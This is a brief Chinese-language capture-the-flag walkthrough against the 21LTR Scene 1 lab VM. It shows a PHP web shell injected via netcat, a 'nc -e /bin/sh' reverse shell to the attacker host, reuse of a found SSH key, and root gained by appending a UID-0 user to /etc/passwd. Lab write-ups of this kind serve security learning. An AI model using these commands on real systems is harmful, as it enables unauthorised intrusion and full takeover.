Hack the 21LTR: Scene 1

一、主机发现

是默认ip192.168.2.120，攻击机和靶机的网卡都设置成2段的仅主机模式

二、信息收集

1.访问首页

2.右击查看源码，显示账户名密码logs：zg]E-b0]+8:(58G

3.使用ftp连接

ftp 192.168.2.120

ls查看有什么文件

将backup_log.php下载到本机并查看

get backup_log.php
cat backup_log.php

4.拼接/logs，无果

5.拼接/logs/backup_log.php

6.启动netcat会话

nc -nv 192.168.2.120 10001 //失败就多试几次
<?php system($_GET['cmd']) ?>

拼接？cmd=id，有回显

三、信息利用

1.设置监听

nc -e /bin/sh 192.168.2.128 7788

靶机开启监听

监听成功

2.获得交互式shell

python -c 'import pty; pty.spawn("/bin/sh")'

3.查看文件

cd /media/USB_1/Stuff/Keys
ls
cat authorized_keys    #发现是hbeale用户

4.查看密钥文件

5.查看用户文件，有hbeale用户

6.ssh连接尝试

ssh -i id_rsa hbeale@192.168.2.120

四、提权

1.利用passwd文件可写进行提权

创建加密密码

openssl passwd 123456

将新用户加入passwd文件

echo 'wow:$1$5kDHZEko$.3eRHPAoXC2fPH2q/kaT50:0:0:root:/root:/bin/bash' >> /etc/passwd

然后cat查看/etc/passwd,成功创建

2.切换到刚刚创建的用户，提权成功